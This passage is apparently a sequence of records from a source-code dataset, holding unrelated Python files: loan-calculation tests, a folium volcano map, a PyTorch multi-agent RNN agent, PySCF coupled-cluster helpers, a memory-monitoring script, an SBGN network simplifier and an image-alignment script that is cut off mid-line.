self.plans[i][\"refundTotal\"]\n\t\t\t\tset_excel(persiod, \"期数\", persiod, setplan)\n\t\t\t\tset_excel(repaymentDate, \"应还日期\", persiod, setplan)\n\t\t\t\tset_excel(principalMoney, \"月还本金\", persiod, setplan)\n\t\t\t\tset_excel(periodInterestMoney, \"月还利息\", persiod, setplan)\n\t\t\t\tset_excel(self.periodMoney, \"月还款额\", persiod, setplan)\n\t\t\t\tset_excel(surplusMoney, \"借款余额\", persiod, setplan)\n\t\t\t\tset_excel(refundServiceFee, \"提前结清退还服务费\", persiod, setplan)\n\t\t\t\tset_excel(refundTotal, \"提前还款应还款总额\", persiod, setplan)\n\t\t# 原放款金额=合同金额-服务费\n\t\tself.oldloanAmount = round(float(self.approveMoney) - float(self.serviceFee), 2)\n\t\t# 信用保证金,月还款金额=信用保证金\n\t\tself.lenderGuaranteeFund = self.periodMoney\n\t\t# 到手金额 = 原放款金额 - 信用保证金\n\t\tself.dsAmount = round(self.oldloanAmount - float(self.lenderGuaranteeFund), 2)\n\t\t# 保费 = 到手金额 - 实际到手金额\n\t\tself.insuranceFee = round(self.dsAmount - float(self.loanAmount), 2)\n\t\t# 需要获取月还款金额,固放在最下面得到该值,信用管理费,信用保证金,到手金额\n\t\tset_excel(self.periodMoney, \"月还款金额\", self.No, interfaceNo)\n\t\tset_excel(self.oldloanAmount, \"原放款金额\", self.No, interfaceNo)\n\t\tset_excel(self.lenderGuaranteeFund, \"信用保证金\", self.No, interfaceNo)\n\t\tset_excel(self.dsAmount, \"到手金额\", self.No, interfaceNo)\n\t\tset_excel(self.insuranceFee, \"保费\", self.No, interfaceNo)\n\n\tdef tearDown(self):\n\t\tself.log.build_case_line(\"请求报文\", self.data)\n\t\tself.log.build_case_line(\"返回报文\", self.response)\n\t\tself.log.build_end_line(interfaceNo + \"--CASE\" + self.No)\n\n\nif __name__ == '__main__':\n\tunittest.main()\n","sub_path":"interface/xsexperiment.py","file_name":"xsexperiment.py","file_ext":"py","file_size_in_byte":7207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"430510054","text":"import folium\nimport pandas\n\n# Read data from txt file\ndata = pandas.read_csv(\"Volcanoes_USA.txt\")\n# Get coordinate from txt file\nlat = list(data[\"LAT\"])\nlon = list(data[\"LON\"])\nelev = list(data[\"ELEV\"])\nname = list(data[\"NAME\"])\n\n# Link to google search\nhtml = \"\"\"\nVolcano name:
    \n%s
    \nHeight: %s m\n\"\"\"\n\nmap = folium.Map(location=[38.58, -99.09], zoom_start=6, tiles=\"Stamen Terrain\")\n\n# Add a child map and control layer\nfgv = folium.FeatureGroup(name=\"Volcanoes\")\n\n# add multi coordinate\n#user_location = [[38.2, -99.1], [37.2, -97.1]]\n#for coordinates in user_location:\n\n# Change color of item depend elevation\ndef chang_color(elevation):\n if elevation < 1000:\n return \"green\"\n elif not 1000 >= elevation and elevation < 3000:\n return \"orange\"\n else:\n return \"red\"\n\n# read coordinate at the same times (Layer 1)\nfor lt, ln, el, name in zip(lat, lon, elev, name):\n iframe = folium.IFrame(html=html % (name, name, el), width=200, height=100)\n # Maker\n #fg.add_child(folium.Marker(location=[lt, ln], popup=folium.Popup(iframe),\n # icon = folium.Icon(color = chang_color(el), icon='info-sign')))\n #Circurle Maker\n fgv.add_child(folium.CircleMarker(location=[lt, ln], radius=6,popup=folium.Popup(iframe),\n fill_color=chang_color(el), color=\"grey\", fill_opacity=1,\n fill=True))\n######## Layer 2 #########\nfgp = folium.FeatureGroup(name=\"Population\")\n# Add polygon for map (Layer 2)\nfgp.add_child(folium.GeoJson(data=open(\"world.json\", \"r\", encoding=\"utf-8-sig\").read(),\n style_function=lambda x: {\"fillColor\": \"green\"\n if x[\"properties\"][\"POP2005\"]<10000000 else \"orange\"\n if 10000000<=x[\"properties\"][\"POP2005\"]<20000000 else \"red\"}))\n# Add layer 1 (Location)\nmap.add_child(fgv)\n# Add layer 2 (Polygon)\nmap.add_child(fgp)\n#add a map controller (Layer 3)\nmap.add_child(folium.LayerControl())\nmap.save(\"Map1.html\")","sub_path":"0.New_Couse/17.Create_Webmap/129.Map_App.py","file_name":"129.Map_App.py","file_ext":"py","file_size_in_byte":2115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"545323037","text":"def ejer19():\n cad1 = input(\"Introduce palabras separadas por espacios\")\n letra = input(\"Introduce un caracter\")\n cad1 = cad1.split(\" \")\n e = int(0)\n cadenafinal=[]\n contador = int(0)\n for i in cad1:\n primercaracter= (cad1[e][0])\n if primercaracter == letra:\n cadenafinal.append(cad1[e])\n #print(prueba2)\n e=e+1\n print (\"Estas son las palabras que empiezan por\",letra,\":\",cadenafinal)\nejer19()","sub_path":"Hidi/Python/Ejercicios IV/ejercicio14.py","file_name":"ejercicio14.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"412146096","text":"import torch.nn as nn\nimport torch.nn.functional as F\nimport torch as th\nfrom torch.distributions import MultivariateNormal\nfrom torch.distributions import kl_divergence\nimport torch.distributions as D\n\n\nclass LatentMSERNNAgent(nn.Module):\n def __init__(self, input_shape, args):\n super(LatentMSERNNAgent, self).__init__()\n self.args = args\n self.input_shape = input_shape\n self.n_agents = args.n_agents\n self.latent_dim = args.latent_dim\n self.hidden_dim = args.rnn_hidden_dim\n self.bs = 0\n\n # pi_param = th.rand(args.n_agents)\n # pi_param = pi_param / pi_param.sum()\n # self.pi_param = nn.Parameter(pi_param)\n\n # mu_param = th.randn(args.n_agents, args.latent_dim)\n # mu_param = mu_param / mu_param.norm(dim=0)\n # self.mu_param = nn.Parameter(mu_param)\n\n self.embed_fc = nn.Linear(args.n_agents, args.latent_dim * 2)\n self.inference_fc1 = nn.Linear(args.rnn_hidden_dim + input_shape - args.n_agents, args.latent_dim * 4)\n self.inference_fc2 = nn.Linear(args.latent_dim * 4, args.latent_dim * 2)\n\n self.latent = th.rand(args.n_agents, args.latent_dim * 2) # (n,mu+var)\n\n self.latent_fc1 = nn.Linear(args.latent_dim, args.latent_dim * 4)\n self.latent_fc2 = nn.Linear(args.latent_dim * 4, args.latent_dim * 4)\n # self.latent_fc3 = nn.Linear(args.latent_dim, args.latent_dim)\n\n self.fc1 = nn.Linear(input_shape, args.rnn_hidden_dim)\n self.rnn = nn.GRUCell(args.rnn_hidden_dim, args.rnn_hidden_dim)\n # self.fc2 = nn.Linear(args.rnn_hidden_dim, args.n_actions)\n\n # self.fc1_w_nn=nn.Linear(args.latent_dim,input_shape*args.rnn_hidden_dim)\n # self.fc1_b_nn=nn.Linear(args.latent_dim,args.rnn_hidden_dim)\n\n # self.rnn_ih_w_nn=nn.Linear(args.latent_dim,args.rnn_hidden_dim*args.rnn_hidden_dim)\n # self.rnn_ih_b_nn=nn.Linear(args.latent_dim,args.rnn_hidden_dim)\n # self.rnn_hh_w_nn=nn.Linear(args.latent_dim,args.rnn_hidden_dim*args.rnn_hidden_dim)\n # self.rnn_hh_b_nn=nn.Linear(args.latent_dim,args.rnn_hidden_dim)\n\n self.fc2_w_nn = nn.Linear(args.latent_dim*4, args.rnn_hidden_dim * args.n_actions)\n self.fc2_b_nn = nn.Linear(args.latent_dim*4, args.n_actions)\n\n def init_latent(self, bs):\n self.bs = bs\n # self.latent=(self.mu_param + th.rand_like(self.mu_param)).unsqueeze(0).expand(bs,self.n_agents,self.latent_dim).reshape(-1,self.latent_dim)\n\n # KL_neg=(self.mu_param-th.tensor([-5.0]*self.latent_dim)).norm(dim=1)\n # KL_pos=(self.mu_param-th.tensor([ 5.0]*self.latent_dim)).norm(dim=1)\n # loss=th.stack([KL_neg,KL_pos]).min(dim=0)[0].sum()\n\n # oracle version for decoder, 3s5z\n # role_s = th.randn(3,self.latent_dim)+5.0\n # role_z = th.randn(5,self.latent_dim)-5.0\n # self.latent = th.cat([\n # role_s,\n # role_z\n # ],dim=0).unsqueeze(0).expand(bs, self.n_agents, self.latent_dim).reshape(-1, self.latent_dim)\n\n # self.latent = F.relu(self.latent_fc1(self.latent))\n # self.latent = F.relu(self.latent_fc2(self.latent))\n # self.latent = F.relu(self.latent_fc3(self.latent))\n loss = 0\n # end\n\n return loss, self.latent.detach()\n\n # u = th.rand(self.n_agents, self.n_agents)\n # g = - th.log(- th.log(u))\n # c = (g + th.log(self.pi_param)).argmax(dim=1)\n\n # self.latent = (self.mu_param[c] + th.randn_like(self.mu_param)).unsqueeze(0).expand(bs, self.n_agents,\n # self.latent_dim).reshape(-1,\n # self.latent_dim)\n # self.latent = self.latent / self.latent.norm(dim=0)\n\n # mu_distance = (self.mu_param.unsqueeze(1) - self.mu_param.unsqueeze(0)).norm(dim=2)\n # distance_weight = self.pi_param.unsqueeze(0) + self.pi_param.unsqueeze(1)\n # loss = (distance_weight * mu_distance).sum()\n\n # print(self.mu_param)\n\n # return loss\n\n # (bs*n,(obs+act+id)), (bs,n,hidden_dim), (bs,n,latent_dim)\n\n def forward(self, inputs, hidden_state):\n inputs = inputs.reshape(-1, self.input_shape)\n h_in = hidden_state.reshape(-1, self.hidden_dim)\n\n self.latent = self.embed_fc(inputs[:self.n_agents, - self.n_agents:]) # (n,2*latent_dim)==(n,mu+log var)\n self.latent[:, -self.latent_dim:] = th.exp(self.latent[:, -self.latent_dim:]) # var\n latent_embed = self.latent.unsqueeze(0).expand(self.bs, self.n_agents, self.latent_dim * 2).reshape(\n self.bs * self.n_agents, self.latent_dim * 2)\n\n latent_infer = F.relu(self.inference_fc1(th.cat([h_in, inputs[:, :-self.n_agents]], dim=1)))\n latent_infer = self.inference_fc2(latent_infer) # (n,2*latent_dim)==(n,mu+log var)\n latent_infer[:, -self.latent_dim:] = th.exp(latent_infer[:, -self.latent_dim:])\n\n # sample\n # gaussian_embed = MultivariateNormal(latent_embed[:, :self.latent_dim],th.diag_embed(latent_embed[:, self.latent_dim:])) #for torch 1.3.1\n # gaussian_infer = MultivariateNormal(latent_infer[:, :self.latent_dim],th.diag_embed(latent_infer[:, self.latent_dim:]))\n # var_embed = th.empty(self.bs * self.n_agents, self.latent_dim, self.latent_dim)\n # var_infer = th.empty(self.bs * self.n_agents, self.latent_dim, self.latent_dim)\n # for i in range(self.bs * self.n_agents):\n # var_embed[i] = th.diag(latent_embed[i, self.latent_dim:])\n # var_infer[i] = th.diag(latent_infer[i, self.latent_dim:])\n # gaussian_embed = MultivariateNormal(latent_embed[:, :self.latent_dim], var_embed)\n # gaussian_infer = MultivariateNormal(latent_infer[:, :self.latent_dim], var_infer)\n\n gaussian_embed = D.Normal(latent_embed[:, :self.latent_dim], (latent_embed[:, self.latent_dim:])**(1/2))\n gaussian_infer = D.Normal(latent_infer[:, :self.latent_dim], (latent_infer[:, self.latent_dim:])**(1/2))\n\n #loss = gaussian_embed.entropy().sum() + kl_divergence(gaussian_embed, gaussian_infer).sum() # CE = H + KL\n #loss = loss / (self.bs*self.n_agents)\n # handcrafted reparameterization\n # (1,n*latent_dim) (1,n*latent_dim)==>(bs,n*latent*dim)\n # latent_embed = self.latent[:,:self.latent_dim].reshape(1,-1)+self.latent[:,-self.latent_dim:].reshape(1,-1)*th.randn(self.bs,self.n_agents*self.latent_dim)\n # latent_embed = latent_embed.reshape(-1,self.latent_dim) #(bs*n,latent_dim)\n # latent_infer = latent_infer[:, :self.latent_dim] + latent_infer[:, -self.latent_dim:] * th.randn_like(latent_infer[:, -self.latent_dim:])\n # loss= (latent_embed-latent_infer).norm(dim=1).sum()/(self.bs*self.n_agents)\n\n latent = gaussian_embed.rsample()\n latent_cmp = gaussian_infer.rsample()\n loss = (latent-latent_cmp).norm(dim=1).sum()/(self.bs*self.n_agents)\n\n latent = F.relu(self.latent_fc1(latent))\n latent = (self.latent_fc2(latent))\n\n # latent=latent.reshape(-1,self.args.latent_dim)\n\n # fc1_w=F.relu(self.fc1_w_nn(latent))\n # fc1_b=F.relu((self.fc1_b_nn(latent)))\n # fc1_w=fc1_w.reshape(-1,self.input_shape,self.args.rnn_hidden_dim)\n # fc1_b=fc1_b.reshape(-1,1,self.args.rnn_hidden_dim)\n\n # rnn_ih_w=F.relu(self.rnn_ih_w_nn(latent))\n # rnn_ih_b=F.relu(self.rnn_ih_b_nn(latent))\n # rnn_hh_w=F.relu(self.rnn_hh_w_nn(latent))\n # rnn_hh_b=F.relu(self.rnn_hh_b_nn(latent))\n # rnn_ih_w=rnn_ih_w.reshape(-1,self.args.rnn_hidden_dim,self.args.rnn_hidden_dim)\n # rnn_ih_b=rnn_ih_b.reshape(-1,1,self.args.rnn_hidden_dim)\n # rnn_hh_w = rnn_hh_w.reshape(-1, self.args.rnn_hidden_dim, self.args.rnn_hidden_dim)\n # rnn_hh_b = rnn_hh_b.reshape(-1, 1, self.args.rnn_hidden_dim)\n\n fc2_w = self.fc2_w_nn(latent)\n fc2_b = self.fc2_b_nn(latent)\n fc2_w = fc2_w.reshape(-1, self.args.rnn_hidden_dim, self.args.n_actions)\n fc2_b = fc2_b.reshape((-1, 1, self.args.n_actions))\n\n # x=F.relu(th.bmm(inputs,fc1_w)+fc1_b) #(bs*n,(obs+act+id)) at time t\n x = F.relu(self.fc1(inputs)) # (bs*n,(obs+act+id)) at time t\n\n # gi=th.bmm(x,rnn_ih_w)+rnn_ih_b\n # gh=th.bmm(h_in,rnn_hh_w)+rnn_hh_b\n # i_r,i_i,i_n=gi.chunk(3,2)\n # h_r,h_i,h_n=gh.chunk(3,2)\n\n # resetgate=th.sigmoid(i_r+h_r)\n # inputgate=th.sigmoid(i_i+h_i)\n # newgate=th.tanh(i_n+resetgate*h_n)\n # h=newgate+inputgate*(h_in-newgate)\n # h=th.tanh(gi+gh)\n\n # x=x.reshape(-1,self.args.rnn_hidden_dim)\n h = self.rnn(x, h_in)\n h = h.reshape(-1, 1, self.args.rnn_hidden_dim)\n\n q = th.bmm(h, fc2_w) + fc2_b\n\n # h_in = hidden_state.reshape(-1, self.args.rnn_hidden_dim) # (bs,n,dim) ==> (bs*n, dim)\n # h = self.rnn(x, h_in)\n # q = self.fc2(h)\n return q.view(-1, self.args.n_actions), h.view(-1, self.args.rnn_hidden_dim), loss\n # (bs*n,n_actions), (bs*n,hidden_dim), (bs*n,latent_dim)\n","sub_path":"src/modules/agents/latent_mse_rnn_agent.py","file_name":"latent_mse_rnn_agent.py","file_ext":"py","file_size_in_byte":9183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"285638514","text":"#!/usr/bin/env python\n# Copyright 2014-2019 The PySCF Developers. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n# Authors: Artem Pulkin, pyscf authors\n\nfrom pyscf.pbc.lib.kpts_helper import VectorSplitter, VectorComposer\nfrom pyscf.pbc.mp.kmp2 import padding_k_idx\nfrom pyscf.pbc.cc import kccsd_rhf\n\nimport numpy as np\n\n\ndef iter_12(cc_or_eom, k):\n \"\"\"Iterates over IP index slices.\"\"\"\n if isinstance(cc_or_eom, kccsd_rhf.RCCSD):\n cc = cc_or_eom\n else:\n cc = cc_or_eom._cc\n o, v = padding_k_idx(cc, kind=\"split\")\n kconserv = cc.khelper.kconserv\n\n yield (o[k],)\n\n for ki in range(cc.nkpts):\n for kj in range(cc.nkpts):\n kb = kconserv[ki, k, kj]\n yield (ki,), (kj,), o[ki], o[kj], v[kb]\n\n\ndef amplitudes_to_vector(cc_or_eom, t1, t2, kshift=0, kconserv=None):\n \"\"\"IP amplitudes to vector.\"\"\"\n itr = iter_12(cc_or_eom, kshift)\n t1, t2 = np.asarray(t1), np.asarray(t2)\n\n vc = VectorComposer(t1.dtype)\n vc.put(t1[np.ix_(*next(itr))])\n for slc in itr:\n vc.put(t2[np.ix_(*slc)])\n return vc.flush()\n\n\ndef vector_to_amplitudes(cc_or_eom, vec, kshift=0):\n \"\"\"IP vector to apmplitudes.\"\"\"\n expected_vs = vector_size(cc_or_eom, kshift)\n if expected_vs != len(vec):\n raise ValueError(\"The size of the vector passed {:d} should be exactly {:d}\".format(len(vec), expected_vs))\n\n itr = iter_12(cc_or_eom, kshift)\n\n nocc = cc_or_eom.nocc\n nmo = cc_or_eom.nmo\n nkpts = cc_or_eom.nkpts\n\n vs = VectorSplitter(vec)\n r1 = vs.get(nocc, slc=next(itr))\n r2 = np.zeros((nkpts, nkpts, nocc, nocc, nmo - nocc), vec.dtype)\n for slc in itr:\n vs.get(r2, slc=slc)\n return r1, r2\n\n\ndef vector_size(cc_or_eom, kshift=0):\n \"\"\"The total number of elements in IP vector.\"\"\"\n size = 0\n for slc in iter_12(cc_or_eom, kshift):\n size += np.prod(tuple(len(i) for i in slc))\n return size\n","sub_path":"pyscf/pbc/cc/eom_kccsd_rhf_ip.py","file_name":"eom_kccsd_rhf_ip.py","file_ext":"py","file_size_in_byte":2429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"163412585","text":"\n#! coding: latin-1\n\n# Lee datos desde un archivo, los multiplica por 2 y\n# los escribe en otro archivo.\n\n# Apertura del archivo.\nflec= open('datos.csv','r')\nfesc= open('resultados.txt','w')\n\ncad=\"a\"\t# Para forzar la entrada al ciclo.\nwhile len(cad)>0:\n# Lectura desde archivo (se lee como cadena):\n cad = flec.readline()\n if len(cad)>0:\t # Al llegar a EOF, regresa una cadena vacía.\n arre = cad.split(';')\t# Para separar cada número.\n print(arre)\n \n fesc.write('Los números multiplicados por 2 son: \\n')\n for num in arre:\n if num != '\\n':\n num2= int(num) * 2\n salida= str(num2)+'\\n'\n fesc.write(salida)\n\n# Cierra archivos.\nflec.close()\nfesc.close()\nprint('Terminé lectura y escritura de archivo')\n","sub_path":"BDnR/Programas/Python/lecEscArchivo_csv.py","file_name":"lecEscArchivo_csv.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"134521569","text":"def xdlol(p1, p2):\n\ta = p1\n\tb = p2\n\treturn a, b #los retorna en forma de tupla\n\nprint(xdlol(5,6))\n\n#aca estaba testeando la comparacion de diccionarios\ndic1 = {\"a\":1,\"b\":2}\ndic2 = {\"b\":2,\"a\":1}\n\nif dic1 == dic2:\n\tprint(\"son iguales\")\nelse:\n\tprint(\"son diferentes\")\n\n#aca testeo filter y lambda\nlista = [1,2,3,4,5,6,7,8,9,10]\n\nresult = list(filter(lambda x: x%2==0 , lista)) \n#SE DEBE CONVERTIR AL TIPO DE DATO QUE CORRESPONDA O SI NO RETORNARA UNA UBICACION\n\nprint(result)\n\nwords = [\"xd\",\"lol\",\"aaaa\"]\nword = \"xd\"\njkl = [i for i in words if sorted(i)==sorted(word)]\nprint(jkl)","sub_path":"test_return.py","file_name":"test_return.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"447337757","text":"# SPDX-License-Identifier: Apache-2.0\n# Copyright 2020 Augustin Luna\n\nimport argparse\nimport os\nimport logging \nfrom simplify_bipartite import simplify_bipartite\nfrom extract_sbgn_edges import extract_sbgn_edges\n\n\ndef main(sbgnml_file, convert_dot, verbose):\n if verbose: \n logging.basicConfig(level=logging.DEBUG)\n else: \n logging.basicConfig(level=logging.INFO)\n\n logging.info(\"SBGNML: \" + sbgnml_file)\n\n sif_file=list(os.path.splitext(sbgnml_file))\n sif_file[1]=\"_intermediate.sif\"\n sif_file=\"\".join(sif_file)\n\n if convert_dot: \n bipartite_dot_file=list(os.path.splitext(sbgnml_file))\n bipartite_dot_file[1]=\"_bipartite.dot\"\n bipartite_dot_file=\"\".join(bipartite_dot_file)\n\n projected_dot_file=list(os.path.splitext(sbgnml_file))\n projected_dot_file[1]=\"_projected.dot\"\n projected_dot_file=\"\".join(projected_dot_file)\n else: \n bipartite_dot_file = None\n projected_dot_file = None\n\n projected_sif_file=list(os.path.splitext(sbgnml_file))\n projected_sif_file[1]=\"_simplified.sif\"\n projected_sif_file=\"\".join(projected_sif_file) \n\n # Run extraction \n extraction = extract_sbgn_edges(sbgnml_file=sbgnml_file, sif_file=sif_file, verbose=verbose)\n logging.info(\"Extraction complete\")\n\n # Run simplification\n if extraction['edge_count'] > 0: \n simplify_bipartite(sif_file=sif_file, bipartite_dot_file=bipartite_dot_file, projected_dot_file=projected_dot_file, projected_sif_file=projected_sif_file, convert_dot=convert_dot, verbose=verbose)\n else: \n sys.exit(\"ERROR: No edges found. Network cannot be simplified\")\n logging.info(\"Simplification complete\")\n\n if verbose: \n if extraction['warning_count'] > 0:\n logging.info(\"DONE. With warnings\")\n else: \n logging.info(\"DONE. Without warnings\")\n\n\nif __name__ == '__main__':\n # Argument parser.\n description = '''Extract SBGNML Edgelist. See project README for more details.'''\n parser = argparse.ArgumentParser(description=description)\n parser.add_argument('--sbgn', '-s',\n required = True,\n help = 'Input SBGNML file'\n )\n parser.add_argument('--convert', '-c',\n default = False,\n help = 'Convert Graphviz files to SVG with dot. Requires Graphviz to be installed',\n action='store_true'\n )\n parser.add_argument('--verbose', '-v',\n default = False,\n help = 'Input SBGNML file',\n action='store_true'\n )\n args = parser.parse_args()\n sbgnml_file=args.sbgn\n convert_dot=args.convert \n verbose=args.verbose\n main(sbgnml_file, convert_dot, verbose)\n #example(sbgnml_file='pamp.sbgn', convert_dot=True, verbose=True)\n\n# parser=argparse.ArgumentParser(\n# description=\"\"\"\n# Convert SBGN-encoded pathways to the SIF file format.\n# \"\"\",\n# epilog=\"\"\"\n# sbgn2sif is currently quite lazy. It only requires:\n# * glyphs with IDs (in SBGN, glyphs are nodes)\n# * glyphs with labels (i.e. node names)\n# * arcs with IDs (in SBGN, arcs are edges)\n# * arcs with classes (i.e. edge types)\n# * arcs with valid source glyphs (cf. above)\n# * arcs with valid target glyphs (cf. above)\n\n# If a glyph has more than one label then its name is the list of its labels\n# separated with \"|\".\n\n# For explanations about the SBGN file format see https://sbgn.github.io.\n\n# For explanations about the SIF file format see the readme file of sbgn2sif.\n# \"\"\",\n# formatter_class=argparse.RawDescriptionHelpFormatter\n# )\n# parser.add_argument(\"sbgnfile\",type=str,metavar=\"\",help=\"a SBGN-encoded pathway\",nargs=\"+\")\n# args=parser.parse_args()\n#\n#files = args.sbgnfile","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"411996187","text":"# -*- coding: utf-8 -*-\nimport os\nimport psutil,time\nfrom PIL import ImageGrab\nfrom datetime import *\nimport matplotlib.pyplot as plt\nfrom matplotlib.font_manager import FontProperties\nfont = FontProperties(fname=r\"c:\\windows\\fonts\\simsun.ttc\", size=14)\nimport string\n\n# 截图函数\ndef insert_img(file_name):\n\n base_dir = os.path.dirname(os.path.dirname(__file__))\n base_dir = str(base_dir)\n base = base_dir.split('test_case')[0]\n file_path = base + \"report\\\\image\\\\\" + file_name\n im = ImageGrab.grab()\n im.save(file_path,\"png\")\n\n'''打印系统内存信息到txt文档中'''\n#查看系统全部进程\ndef memory_monitoring():\n print(\"memory_monitoring\")\n pidList = psutil.pids()\n\n pidListAll = []\n for eachPid in pidList:\n p = psutil.Process(eachPid)\n if p.name() == \"Actoma.exe\":\n pidListAll.append(eachPid)\n # print (len(pidListAll))\n i = 0\n if pidListAll != []:\n while True:\n try:\n fileHandle = open('Log.txt', 'a')\n # NowTime=str(datetime.now())\n NowTime = time.strftime(\"%Y-%m-%d %H:%M:%S\")\n fileHandle.write(\"\\n\")\n i = i + 1\n print(i)\n print(p.name())\n fileHandle.write(str(i))\n fileHandle.write(\",\")\n fileHandle.write(str(NowTime))\n\n print(NowTime)\n\n for pid in range(0, len(pidListAll)):\n p = psutil.Process(pidListAll[pid])\n if p:\n total_memory = (psutil.virtual_memory())[0]\n percent = p.memory_percent(memtype=\"uss\") #进程p占用的内存比\n memValue = (percent / 100) * total_memory\n print(memValue / 1024 / 1024)\n cpercent = p.cpu_percent(None)\n print(p.cpu_percent(None))\n fileHandle.write(\",\")\n fileHandle.write(str(memValue / 1024 / 1024))\n fileHandle.write(\"\")\n else:\n \" no error Process Named: %s\" % (\"Actoma.exe\")\n break\n\n print(\"\")\n time.sleep(3)\n except:\n print(\"error\")\n break\n finally:\n fileHandle.close()\n\ndef get_data():\n inFile = open(\"Log.txt\",'r') #以只读方式打开某fileName文件\n lineList = inFile.readlines()\n print(lineList)\n # print(lineList)\n\n\n # 定义两个空list,用来存放文件中的数据\n x = []\n y = []\n z = []\n j = []\n q = []\n p = []\n\n for line in lineList:\n lineList = line.split(',')\n inFile.close()\n # print(lineList)\n x.append(lineList[0])\n y.append(lineList[1])\n z.append(lineList[2])\n j.append(lineList[3])\n q.append(lineList[4])\n p.append(lineList[5])\n\n plt.plot(x,z,'r')\n plt.plot(x,j,'g')\n plt.plot(x,q,'b')\n plt.plot(x,p,'k')\n\n\n plt.title(u'内存大小曲线图',fontproperties=font)\n plt.xlabel(u'检测次数(s)',fontproperties=font)\n plt.ylabel(u'内存大小(M)',fontproperties=font)\n\n plt.show()","sub_path":"web_project/public/function.py","file_name":"function.py","file_ext":"py","file_size_in_byte":3281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"16150784","text":"# Import WD lib\nfrom selenium import webdriver\n# Create WD Chrome Object\ndriver = webdriver.Chrome()\n# Open \"https://www.seleniumeasy.com/test/bootstrap-alert-messages-demo.html\"\ndriver.get(\"https://www.seleniumeasy.com/test/bootstrap-alert-messages-demo.html\")\n# Click on [Normal success message button]\ndriver.find_element_by_css_selector(\"#normal-btn-success\").click()\n# assert appeared green success message\nassert \"success message\" in driver.page_source","sub_path":"selenium_basic.py","file_name":"selenium_basic.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"39670362","text":"import numpy as np\nimport cv2\n\nfrom .utils import distance\n\ndef get_dewarped_table(im, corners):\n \n # check input \n if im is None:\n return None\n if len(corners) != 4:\n return None\n \n target_w = int(max(distance(corners[0], corners[1]), distance(corners[2], corners[3])))\n target_h = int(max(distance(corners[0], corners[3]), distance(corners[1], corners[2])))\n target_corners = [[0, 0], [target_w, 0], [target_w, target_h], [0, target_h]]\n\n pts1 = np.float32(corners)\n pts2 = np.float32(target_corners)\n transform_matrix = cv2.getPerspectiveTransform(pts1, pts2)\n dewarped = cv2.warpPerspective(im, transform_matrix, (target_w, target_h))\n \n return dewarped","sub_path":"etc/TabDetect/TabDetectDewarp/tab_dewarp.py","file_name":"tab_dewarp.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"246370081","text":"\nfrom get_best_pos import *\nimport cv2\nimport time\nimport scipy.io as scio\n\n############################################\nprocess_image_name = '010.png'\nre_scale = 0.79\nmove_width_start = -100\nmove_width_end = 128\nmove_height_start = -100\nmove_height_end = 128\nmove_stride = 2\nsave_flag = False\nmove_width = [move_width_start, move_width_end]\nmove_height = [move_height_start, move_height_end]\n\n############################################\nv_imagename = os.getcwd() + '/v_results/predict_' + process_image_name\nv_originalimage = cv2.imread(v_imagename, cv2.IMREAD_GRAYSCALE)\np_imagename = os.getcwd() + '/p_results/predict_' + process_image_name\np_originalimage = cv2.imread(p_imagename, cv2.IMREAD_GRAYSCALE)\n\nv_showname = os.getcwd() + '/v_show/' + process_image_name\nshow_img = cv2.imread(v_showname, 0)\nshow_txtimg = cv2.cvtColor(cv2.imread(v_showname, 0), cv2.COLOR_GRAY2BGR)\n\n# compute the scale to locate detective region in visual image\n[show_height, show_width] = np.shape(show_img)\nshow_height_scale = show_height/256\nshow_width_scale = show_width/256\n\nv_image, p_image, pv_sumlist, best_movepos, pv_plotdata = \\\n\tfind_best_pos(p_imagename, v_imagename, re_scale, move_stride, move_width, move_height)\n\n\n############################################\nstart_time = time.time()\n# move p image to reasonable pos\np_move = myimagemove(p_image, best_movepos)\np_originalimage_re = myresize(p_originalimage, re_scale)\np_originalimage_full = myfullimage(p_originalimage_re, (256, 256))\np_originalmove = myimagemove(p_originalimage_full, best_movepos)\np_yihuo = np.logical_xor(p_move, p_originalmove)*255\nv_yihuo = np.logical_xor(v_image, v_originalimage)*255\nplt.subplot(1,3,1), plt.imshow(v_originalimage)\nplt.subplot(1,3,2), plt.imshow(v_image)\nplt.subplot(1,3,3), plt.imshow(v_yihuo)\nplt.show()\n############################################\n\n\n############################################\n# 对异或图像进行腐蚀+膨胀操作,去除多余杂质\np_yihuo = (p_yihuo * 255).astype(np.uint8)\nkernel = cv2.getStructuringElement(cv2.MORPH_RECT, (3, 3))\neroded = cv2.erode(p_yihuo, kernel)\np_yihuo_dilated = cv2.dilate(eroded, kernel)*255\n############################################\n\n\n############################################\n# generate the best dic of the hidden object position to be saved\npv_add = np.logical_or(p_yihuo_dilated, v_yihuo)*255\ntmp_dict = {'image': v_showname[v_showname.rindex('/')+1:]}\ntmp_dict.update({'movepara': [re_scale, move_stride, best_movepos[0], best_movepos[1]]})\ntmp_dict.update(mydetectdic(p_yihuo_dilated/255, pv_add/255, v_yihuo/255, [show_height_scale, 